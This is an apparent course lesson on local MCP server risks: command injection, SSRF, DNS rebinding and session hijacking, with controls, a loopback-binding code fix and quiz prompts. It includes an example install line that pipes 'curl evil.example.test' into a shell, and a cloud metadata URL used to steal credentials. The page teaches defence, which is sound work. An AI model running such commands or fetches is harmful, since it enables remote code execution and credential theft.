Skip to content
mentoor

Topic 5 of 6 · 5 min read

Local server risks: command injection, SSRF and DNS rebinding

Goal: Find the vulnerability in a local server's launch command, HTTP binding or metadata fetch and name the control that prevents it.

Many MCP attacks need no clever model trick: a local server runs with your permissions, and a careless launch command, bind address or URL fetch gives an attacker the same reach. The MCP security best practices cover four of these.

Check yourself · 1 of 3

Why is a local MCP server's startup command risky?

Choose one answer

Local server compromise and command injection

A client starts a local server by running a command from its config. If that command comes from a link, a shared config or a server's own metadata, running it is running someone else's code. A one-click install that reads npx some-package && curl evil.example.test | sh shows the risk. Controls: show the exact command and ask for consent, treat it as untrusted, and run it in a sandbox with limited filesystem and network access.

SSRF through metadata URLs

During authorization a client fetches URLs that the server supplies, such as discovery documents. A malicious server can point them at http://169.254.169.254/ (a cloud metadata service), localhost or a private network address, and the client fetches them for the attacker. Controls: allow only HTTPS in production, block private, loopback and link-local ranges (checking the resolved IP, including after redirects), and route fetches through an egress proxy.

DNS rebinding on localhost servers

A local HTTP server bound to 0.0.0.0 or with no checks can be reached by a web page. With DNS rebinding, a site's domain first resolves to the attacker's server, then to 127.0.0.1, and the browser lets the page call your local server. Controls: bind to 127.0.0.1, validate the Origin and Host headers, and require authentication even on localhost.

Session hijacking

Session ids are not credentials. If a server treats a guessed or stolen session id as proof of identity, a stranger can inject events into someone's stream. Controls: use random, non-guessable ids, bind each session to the authenticated user, and verify authorization on every request.

Before and after

// weak: reachable from the network and from web pages
server.listen(3000, "0.0.0.0");
// fixed: loopback only, with Origin and Host checks and a token
server.listen(3000, "127.0.0.1");
app.use((req, res, next) => {
  if (!allowedOrigins.has(req.headers.origin ?? "") || req.headers.host !== "127.0.0.1:3000") return res.status(403).end();
  next();
});

What goes wrong

  • Trusting localhost because "only I can reach it".
  • Checking the URL string and not the IP it resolves to.
  • Using the session id as the only proof of identity.

Examples

The metadata URL that points inside

A server's discovery response says its token endpoint is http://169.254.169.254/latest/meta-data/iam/. A client that fetches it from a cloud VM may return the machine's credentials to the server. The client should refuse link-local addresses and plain HTTP.

The open localhost port

A developer runs a local MCP server on port 3000 bound to all interfaces with no auth. A web page the developer visits uses DNS rebinding to call it and lists the developer's files. Binding to loopback, checking Origin and requiring a token each close a path.

Key points

  • A local server runs with your permissions, so the launch command is code you are choosing to run.
  • Show the exact startup command, require consent and sandbox the process.
  • Block metadata, loopback and private addresses when fetching server-supplied URLs, and check the resolved IP.
  • Bind local HTTP servers to 127.0.0.1, validate Origin and Host, and require authentication.
  • Session ids must be unguessable and bound to an authenticated user, never used alone as identity.

Common mistakes

  • Running a startup command from a shared link without reading it.
  • Validating a hostname string but not the address it resolves to.
  • Assuming localhost services are unreachable from web pages.
  • Using a session id as proof of who the caller is.

Check yourself · 2 of 3

A local HTTP server must resist DNS rebinding. Which pair of controls helps most?

Choose one answer

Check yourself · 3 of 3

A client fetches a discovery URL provided by a server. What stops SSRF best?

Choose one answer

Practice items, not counted towards your mastery.

Start here